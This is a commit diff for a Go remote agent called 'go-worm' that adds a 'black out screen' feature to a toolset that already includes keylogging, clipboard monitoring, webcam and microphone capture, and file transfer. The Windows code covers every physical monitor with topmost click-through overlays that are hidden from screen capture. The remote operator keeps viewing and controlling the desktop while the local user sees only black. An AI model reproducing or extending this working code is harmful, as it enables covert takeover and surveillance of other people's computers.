feat(agent): add screen blackout feature

- Physical displays blanked via overlay
- Remote video and input keep working
- Exclude overlay from screen capture
- Add blackout API and UI toggle
- Wire flag through capture protocol
This commit is contained in:
2026-09-02 13:32:21 +03:00
parent 45f345123d
commit 149fcde379
16 changed files with 557 additions and 28 deletions
+1 -1
View File
@@ -1 +1 @@
1.0.2
1.0.6
+3
View File
@@ -11,6 +11,7 @@ import (
"strings"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/blackout"
"tea.chunkbyte.com/kato/go-worm/lib/capture"
"tea.chunkbyte.com/kato/go-worm/lib/clipmon"
"tea.chunkbyte.com/kato/go-worm/lib/config"
@@ -75,6 +76,7 @@ func New(cfg Config) (*Agent, error) {
func (a *Agent) Close() {
clipmon.Stop()
keylog.Stop()
blackout.Stop()
capture.Stop()
mic.Stop()
if a.guard != nil {
@@ -95,6 +97,7 @@ func (a *Agent) Serve() error {
mux.HandleFunc("/api/v1/download", a.handleDownload)
mux.HandleFunc("/api/v1/upload", a.handleUpload)
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
mux.HandleFunc("/api/v1/blackout", a.handleBlackout)
mux.HandleFunc("/api/v1/webcam", a.handleWebcam)
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
mux.HandleFunc("/api/v1/mic", a.handleMic)
+29
View File
@@ -14,6 +14,7 @@ import (
"strings"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/blackout"
"tea.chunkbyte.com/kato/go-worm/lib/capture"
"tea.chunkbyte.com/kato/go-worm/lib/command"
"tea.chunkbyte.com/kato/go-worm/lib/config"
@@ -409,9 +410,37 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top))
w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width))
w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height))
if blackout.Enabled() {
w.Header().Set("X-Screen-Blackout", "1")
}
_, _ = w.Write(frame.Data)
}
func (a *Agent) handleBlackout(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
case http.MethodPut:
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
defer r.Body.Close()
var body struct {
Enabled *bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Enabled == nil {
helpers.WriteError(w, http.StatusBadRequest, "enabled is required")
return
}
if err := blackout.Set(*body.Enabled); err != nil {
helpers.Log.Printf("blackout: %v", err)
helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
default:
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
}
}
func parseMicDevice(r *http.Request) (int, error) {
device := 0
if raw := r.URL.Query().Get("device"); raw != "" {
+27 -1
View File
@@ -27,6 +27,7 @@
const videoStop = document.getElementById("video-stop");
const videoInteract = document.getElementById("video-interact");
const videoKeyHint = document.getElementById("video-key-hint");
const videoBlackout = document.getElementById("video-blackout");
const webcamCanvas = document.getElementById("webcam-canvas");
const webcamMeta = document.getElementById("webcam-meta");
const webcamDevice = document.getElementById("webcam-device");
@@ -680,7 +681,7 @@
const width = bitmap.width;
const height = bitmap.height;
bitmap.close();
videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}`;
videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}${res.headers.get("X-Screen-Blackout") === "1" ? " · blackout" : ""}`;
}
async function sendClick(event, button) {
@@ -737,6 +738,22 @@
return false;
}
async function loadBlackout() {
const res = await api("/api/v1/blackout");
const data = await res.json();
videoBlackout.checked = Boolean(data.enabled);
}
async function setBlackoutEnabled(enabled) {
const res = await api("/api/v1/blackout", {
method: "PUT",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ enabled }),
});
const data = await res.json();
videoBlackout.checked = Boolean(data.enabled);
}
function setVideoTabActive(active) {
if (videoTabActive === active) return;
videoTabActive = active;
@@ -920,6 +937,9 @@
document.getElementById(button.dataset.tab).classList.add("active");
const onVideo = button.dataset.tab === "video";
setVideoTabActive(onVideo);
if (onVideo) {
loadBlackout().catch((err) => showError(err.message));
}
if (!onVideo) {
stopVideo();
}
@@ -1028,6 +1048,12 @@
sendClick(event, "right").catch((err) => showError(err.message));
});
videoInteract.addEventListener("change", () => syncInteractable());
videoBlackout.addEventListener("change", () => {
setBlackoutEnabled(videoBlackout.checked).catch((err) => {
videoBlackout.checked = !videoBlackout.checked;
showError(err.message);
});
});
document.querySelectorAll(".mod-btn").forEach((button) => {
button.addEventListener("click", () => {
if (!videoInteract.checked) return;
+5 -1
View File
@@ -819,7 +819,7 @@
<div class="panel-head">
<div>
<h2>Remote desktop</h2>
<p class="lede">Live monitor stream. Interaction is off until you enable it.</p>
<p class="lede">Live monitor stream. Interaction is off until you enable it. Black out screen blanks the physical displays; remote view and control keep working.</p>
</div>
<div class="panel-actions">
<button id="video-start" class="primary" type="button">Start</button>
@@ -841,6 +841,10 @@
<input id="video-interact" type="checkbox">
Interactable
</label>
<label class="check">
<input id="video-blackout" type="checkbox">
Black out screen
</label>
</div>
<div class="stage">
<canvas id="video-canvas" class="view-only" width="1280" height="720"></canvas>
+13
View File
@@ -0,0 +1,13 @@
package blackout
func Enabled() bool { return running() }
func Set(on bool) error {
if on {
return start()
}
stop()
return nil
}
func Stop() { stop() }
+10
View File
@@ -0,0 +1,10 @@
package blackout
import "testing"
func TestDisabledByDefault(t *testing.T) {
t.Parallel()
if Enabled() {
t.Fatal("blackout should start off")
}
}
+13
View File
@@ -0,0 +1,13 @@
//go:build !windows
package blackout
import "errors"
func running() bool { return false }
func start() error {
return errors.New("monitor blackout is only available on Windows")
}
func stop() {}
+372
View File
@@ -0,0 +1,372 @@
//go:build windows
package blackout
import (
"errors"
"fmt"
"runtime"
"sync"
"syscall"
"time"
"unsafe"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
)
const (
className = "win64_mp_blackout"
wsPopup = 0x80000000
wsExLayered = 0x00080000
wsExTransparent = 0x00000020
wsExTopmost = 0x00000008
wsExToolwindow = 0x00000080
wsExNoActivate = 0x08000000
layeredEx = wsExLayered | wsExTransparent | wsExTopmost | wsExToolwindow | wsExNoActivate
swShowNoActivate = 4
swpNoActivate = 0x0010
swpNoMove = 0x0002
swpNoSize = 0x0001
swpShowWindow = 0x0040
lwaAlpha = 0x00000002
wdaExcludeFromCapture = 0x00000011
blackBrush = 4
errorClassAlreadyExists = 1410
htTransparent = 0xFFFFFFFF
maNoActivate = 3
wmQuit = 0x0012
wmNcHitTest = 0x0084
wmMouseActivate = 0x0021
wmDisplayChange = 0x007E
wmUser = 0x0400
wmRebuild = wmUser + 1
hwndTopmost = ^uintptr(0) // HWND_TOPMOST
)
type wndClassEx struct {
Size uint32
Style uint32
WndProc uintptr
ClsExtra int32
WndExtra int32
Instance uintptr
Icon uintptr
Cursor uintptr
Background uintptr
MenuName *uint16
ClassName *uint16
IconSm uintptr
}
type msg struct {
HWnd uintptr
Message uint32
WParam uintptr
LParam uintptr
Time uint32
Pt struct{ X, Y int32 }
}
type overlayRect struct {
left, top, width, height int
}
var (
user32 = syscall.NewLazyDLL("user32.dll")
gdi32 = syscall.NewLazyDLL("gdi32.dll")
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procRegisterClassExW = user32.NewProc("RegisterClassExW")
procCreateWindowExW = user32.NewProc("CreateWindowExW")
procDestroyWindow = user32.NewProc("DestroyWindow")
procShowWindow = user32.NewProc("ShowWindow")
procSetWindowPos = user32.NewProc("SetWindowPos")
procSetLayeredWindowAttributes = user32.NewProc("SetLayeredWindowAttributes")
procSetWindowDisplayAffinity = user32.NewProc("SetWindowDisplayAffinity")
procDefWindowProcW = user32.NewProc("DefWindowProcW")
procGetMessageW = user32.NewProc("GetMessageW")
procTranslateMessage = user32.NewProc("TranslateMessage")
procDispatchMessageW = user32.NewProc("DispatchMessageW")
procPostThreadMessageW = user32.NewProc("PostThreadMessageW")
procGetStockObject = gdi32.NewProc("GetStockObject")
procGetModuleHandleW = kernel32.NewProc("GetModuleHandleW")
procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId")
// ponytail: NewCallback is never freed; one wndproc for the process.
wndProcCB = syscall.NewCallback(overlayWndProc)
mu sync.Mutex
active bool
threadID uint32
loopDone chan struct{}
hwnds []uintptr
classAtom uint16
classUTF16 *uint16
)
func init() {
if unsafe.Sizeof(wndClassEx{}) != 80 {
panic(fmt.Sprintf("wndClassEx must be 80 bytes on amd64, got %d", unsafe.Sizeof(wndClassEx{})))
}
}
func running() bool {
mu.Lock()
defer mu.Unlock()
return active
}
func start() error {
mu.Lock()
if active {
mu.Unlock()
return nil
}
done := make(chan struct{})
ready := make(chan error, 1)
loopDone = done
mu.Unlock()
go func() {
defer close(done)
defer helpers.RecoverLog("blackout")
runOverlayLoop(ready)
}()
select {
case err := <-ready:
if err != nil {
<-done
return err
}
return nil
case <-time.After(5 * time.Second):
stop()
return errors.New("monitor blackout did not start")
}
}
func stop() {
mu.Lock()
tid := threadID
done := loopDone
mu.Unlock()
if tid != 0 {
_, _, _ = procPostThreadMessageW.Call(uintptr(tid), wmQuit, 0, 0)
}
if done != nil {
<-done
}
}
func runOverlayLoop(ready chan<- error) {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
defer func() {
destroyOverlays()
mu.Lock()
active = false
threadID = 0
loopDone = nil
mu.Unlock()
}()
tid, _, _ := procGetCurrentThreadId.Call()
mu.Lock()
threadID = uint32(tid)
mu.Unlock()
if err := registerClass(); err != nil {
ready <- err
return
}
if err := createOverlays(); err != nil {
ready <- err
return
}
mu.Lock()
active = true
mu.Unlock()
ready <- nil
ticker := time.NewTicker(time.Second)
defer ticker.Stop()
stopTop := make(chan struct{})
defer close(stopTop)
go func() {
defer helpers.RecoverLog("blackout-top")
for {
select {
case <-stopTop:
return
case <-ticker.C:
mu.Lock()
on := active
ids := append([]uintptr(nil), hwnds...)
mu.Unlock()
if !on {
return
}
for _, hwnd := range ids {
_, _, _ = procSetWindowPos.Call(hwnd, hwndTopmost, 0, 0, 0, 0, swpNoMove|swpNoSize|swpNoActivate)
}
}
}
}()
var m msg
for {
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&m)), 0, 0, 0)
v := int32(ret)
if v == 0 || v == -1 {
return
}
if m.HWnd == 0 && m.Message == wmRebuild {
_ = createOverlays()
continue
}
_, _, _ = procTranslateMessage.Call(uintptr(unsafe.Pointer(&m)))
_, _, _ = procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m)))
}
}
func registerClass() error {
if classAtom != 0 {
return nil
}
name, err := syscall.UTF16PtrFromString(className)
if err != nil {
return err
}
classUTF16 = name
inst, _, _ := procGetModuleHandleW.Call(0)
brush, _, _ := procGetStockObject.Call(blackBrush)
wc := wndClassEx{
Size: uint32(unsafe.Sizeof(wndClassEx{})),
WndProc: wndProcCB,
Instance: inst,
Background: brush,
ClassName: name,
}
atom, _, callErr := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc)))
if atom == 0 {
if errno, ok := callErr.(syscall.Errno); ok && errno == errorClassAlreadyExists {
classAtom = 1
return nil
}
if callErr != nil && callErr != syscall.Errno(0) {
return callErr
}
return errors.New("RegisterClassEx failed")
}
classAtom = uint16(atom)
return nil
}
func monitorRects() ([]overlayRect, error) {
var out []overlayRect
for i := 0; i < 64; i++ {
left, top, width, height, err := screenshot.MonitorBounds(i)
if err != nil {
break
}
if width < 1 || height < 1 {
continue
}
out = append(out, overlayRect{left, top, width, height})
}
if len(out) == 0 {
return nil, errors.New("no displays found")
}
return out, nil
}
func createOverlays() error {
destroyOverlays()
rects, err := monitorRects()
if err != nil {
return err
}
inst, _, _ := procGetModuleHandleW.Call(0)
var created []uintptr
for _, r := range rects {
hwnd, err := createOverlay(inst, r)
if err != nil {
for _, h := range created {
_, _, _ = procDestroyWindow.Call(h)
}
return err
}
created = append(created, hwnd)
}
mu.Lock()
hwnds = created
mu.Unlock()
return nil
}
func createOverlay(inst uintptr, r overlayRect) (uintptr, error) {
hwnd, _, callErr := procCreateWindowExW.Call(
layeredEx,
uintptr(unsafe.Pointer(classUTF16)),
0,
wsPopup,
uintptr(int32(r.left)),
uintptr(int32(r.top)),
uintptr(int32(r.width)),
uintptr(int32(r.height)),
0, 0, inst, 0,
)
if hwnd == 0 {
if callErr != nil && callErr != syscall.Errno(0) {
return 0, callErr
}
return 0, errors.New("CreateWindowEx failed")
}
ok, _, affErr := procSetWindowDisplayAffinity.Call(hwnd, wdaExcludeFromCapture)
if ok == 0 {
_, _, _ = procDestroyWindow.Call(hwnd)
if affErr != nil && affErr != syscall.Errno(0) {
return 0, fmt.Errorf("exclude overlay from capture: %w", affErr)
}
return 0, errors.New("exclude overlay from capture failed")
}
_, _, _ = procSetLayeredWindowAttributes.Call(hwnd, 0, 255, lwaAlpha)
_, _, _ = procSetWindowPos.Call(hwnd, hwndTopmost, uintptr(int32(r.left)), uintptr(int32(r.top)), uintptr(int32(r.width)), uintptr(int32(r.height)), swpNoActivate|swpShowWindow)
_, _, _ = procShowWindow.Call(hwnd, swShowNoActivate)
return hwnd, nil
}
func destroyOverlays() {
mu.Lock()
ids := hwnds
hwnds = nil
mu.Unlock()
for _, hwnd := range ids {
_, _, _ = procDestroyWindow.Call(hwnd)
}
}
func overlayWndProc(hwnd, message, wparam, lparam uintptr) uintptr {
switch message {
case wmNcHitTest:
return htTransparent
case wmMouseActivate:
return maNoActivate
case wmDisplayChange:
mu.Lock()
tid := threadID
mu.Unlock()
if tid != 0 {
_, _, _ = procPostThreadMessageW.Call(uintptr(tid), wmRebuild, 0, 0)
}
return 0
}
ret, _, _ := procDefWindowProcW.Call(hwnd, message, wparam, lparam)
return ret
}
+2 -1
View File
@@ -12,6 +12,7 @@ import (
"sync"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/blackout"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/models"
@@ -80,7 +81,7 @@ func (h *helper) grab(index int, format string, quality int) (models.CapturedIma
deadline := time.Now().Add(config.CaptureTimeout)
_ = h.stdin.SetWriteDeadline(deadline)
_ = h.stdout.SetReadDeadline(deadline)
if err := writeRequest(h.stdin, index, format, quality); err != nil {
if err := writeRequest(h.stdin, index, format, quality, blackout.Enabled()); err != nil {
return models.CapturedImage{}, err
}
img, err := readResponse(h.reader)
+4 -3
View File
@@ -18,7 +18,7 @@ func RunHelper() int {
in := bufio.NewReader(os.Stdin)
out := bufio.NewWriter(os.Stdout)
for {
monitor, format, quality, err := readRequest(in)
monitor, format, quality, omitLayered, err := readRequest(in)
if err == io.EOF {
return 0
}
@@ -27,7 +27,7 @@ func RunHelper() int {
_ = out.Flush()
return 1
}
img, err := grab(monitor, format, quality)
img, err := grab(monitor, format, quality, omitLayered)
if err != nil {
if werr := writeErr(out, err.Error()); werr != nil {
return 1
@@ -46,11 +46,12 @@ func RunHelper() int {
}
}
func grab(monitor int, format string, quality int) (img models.CapturedImage, err error) {
func grab(monitor int, format string, quality int, omitLayered bool) (img models.CapturedImage, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
}
}()
screenshot.SetOmitLayered(omitLayered)
return screenshot.CaptureMonitor(monitor, format, quality)
}
+17 -9
View File
@@ -14,30 +14,38 @@ import (
var ErrMonitorNotFound = errors.New("monitor not found")
func writeRequest(w io.Writer, monitor int, format string, quality int) error {
_, err := fmt.Fprintf(w, "C %d %s %d\n", monitor, format, quality)
func writeRequest(w io.Writer, monitor int, format string, quality int, omitLayered bool) error {
flag := 0
if omitLayered {
flag = 1
}
_, err := fmt.Fprintf(w, "C %d %s %d %d\n", monitor, format, quality, flag)
return err
}
func readRequest(r *bufio.Reader) (monitor int, format string, quality int, err error) {
func readRequest(r *bufio.Reader) (monitor int, format string, quality int, omitLayered bool, err error) {
line, err := r.ReadString('\n')
if err != nil {
return 0, "", 0, err
return 0, "", 0, false, err
}
fields := strings.Fields(strings.TrimSpace(line))
if len(fields) != 4 || fields[0] != "C" {
return 0, "", 0, errors.New("bad capture request")
if len(fields) != 5 || fields[0] != "C" {
return 0, "", 0, false, errors.New("bad capture request")
}
monitor, err = strconv.Atoi(fields[1])
if err != nil {
return 0, "", 0, err
return 0, "", 0, false, err
}
format = fields[2]
quality, err = strconv.Atoi(fields[3])
if err != nil {
return 0, "", 0, err
return 0, "", 0, false, err
}
return monitor, format, quality, nil
flag, err := strconv.Atoi(fields[4])
if err != nil {
return 0, "", 0, false, err
}
return monitor, format, quality, flag != 0, nil
}
func writeFrame(w io.Writer, img models.CapturedImage) error {
+4 -4
View File
@@ -11,15 +11,15 @@ import (
func TestCaptureProtocolRoundTrip(t *testing.T) {
t.Parallel()
var buf bytes.Buffer
if err := writeRequest(&buf, 1, "jpeg", 40); err != nil {
if err := writeRequest(&buf, 1, "jpeg", 40, true); err != nil {
t.Fatal(err)
}
mon, format, quality, err := readRequest(bufio.NewReader(bytes.NewReader(buf.Bytes())))
mon, format, quality, omit, err := readRequest(bufio.NewReader(bytes.NewReader(buf.Bytes())))
if err != nil {
t.Fatal(err)
}
if mon != 1 || format != "jpeg" || quality != 40 {
t.Fatalf("request = %d %s %d", mon, format, quality)
if mon != 1 || format != "jpeg" || quality != 40 || !omit {
t.Fatalf("request = %d %s %d omit=%v", mon, format, quality, omit)
}
buf.Reset()
+34
View File
@@ -172,6 +172,7 @@ func Spec() map[string]any {
"X-Monitor-Top": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Monitor-Width": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Monitor-Height": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Screen-Blackout": map[string]any{"schema": map[string]string{"type": "string"}, "description": "1 when physical monitors are blacked out"},
},
"content": map[string]any{
"image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
@@ -183,6 +184,26 @@ func Spec() map[string]any {
}),
},
},
"/api/v1/blackout": map[string]any{
"get": map[string]any{
"summary": "Read physical monitor blackout",
"operationId": "getBlackout",
"responses": auth(map[string]any{
"200": okJSON("Blackout state", ref("BlackoutState")),
}),
},
"put": map[string]any{
"summary": "Black out physical monitors",
"operationId": "setBlackout",
"description": "Covers physical displays with a click-through overlay excluded from capture. Remote video and input keep working.",
"requestBody": jsonBody(ref("BlackoutUpdate")),
"responses": auth(map[string]any{
"200": okJSON("Blackout state", ref("BlackoutState")),
"400": errResp("Invalid body"),
"503": errResp("Blackout failed"),
}),
},
},
"/api/v1/webcam": map[string]any{
"get": map[string]any{
"summary": "List webcams",
@@ -563,6 +584,19 @@ func Spec() map[string]any {
"klogging": map[string]any{"type": "boolean"},
},
},
"BlackoutState": map[string]any{
"type": "object",
"properties": map[string]any{
"enabled": map[string]any{"type": "boolean"},
},
},
"BlackoutUpdate": map[string]any{
"type": "object",
"required": []string{"enabled"},
"properties": map[string]any{
"enabled": map[string]any{"type": "boolean"},
},
},
"ClickRequest": map[string]any{
"type": "object", "required": []string{"x", "y", "button"},
"properties": map[string]any{
+2 -2
View File
@@ -11,8 +11,8 @@ func TestSpec(t *testing.T) {
if !ok || len(paths) < 12 {
t.Fatalf("expected at least 12 paths, got %d", len(paths))
}
if _, ok := paths["/api/v1/mic"]; !ok {
t.Fatal("missing /api/v1/mic")
if _, ok := paths["/api/v1/blackout"]; !ok {
t.Fatal("missing /api/v1/blackout")
}
if _, ok := paths["/api/v1/watchdog"]; !ok {
t.Fatal("missing /api/v1/watchdog")
+17 -2
View File
@@ -16,6 +16,18 @@ import (
var ErrMonitorNotFound = errors.New("monitor not found")
const (
srcCopy = 0x00CC0020
captureBlt = 0x40000000
)
var omitLayeredWindows bool
// SetOmitLayered skips CAPTUREBLT so WS_EX_LAYERED overlays (blackout) stay off the bitmap.
func SetOmitLayered(omit bool) {
omitLayeredWindows = omit
}
var (
user32 = syscall.NewLazyDLL("user32.dll")
gdi32 = syscall.NewLazyDLL("gdi32.dll")
@@ -210,8 +222,11 @@ func captureRect(r rect) (*image.RGBA, error) {
defer procDeleteObject.Call(bitmap)
old, _, _ := procSelectObject.Call(memDC, bitmap)
defer procSelectObject.Call(memDC, old)
const srccopy = 0x00CC0020 | 0x40000000 // SRCCOPY | CAPTUREBLT
ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), srccopy)
blit := uintptr(srcCopy)
if !omitLayeredWindows {
blit |= captureBlt
}
ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), blit)
if ok == 0 {
return nil, err
}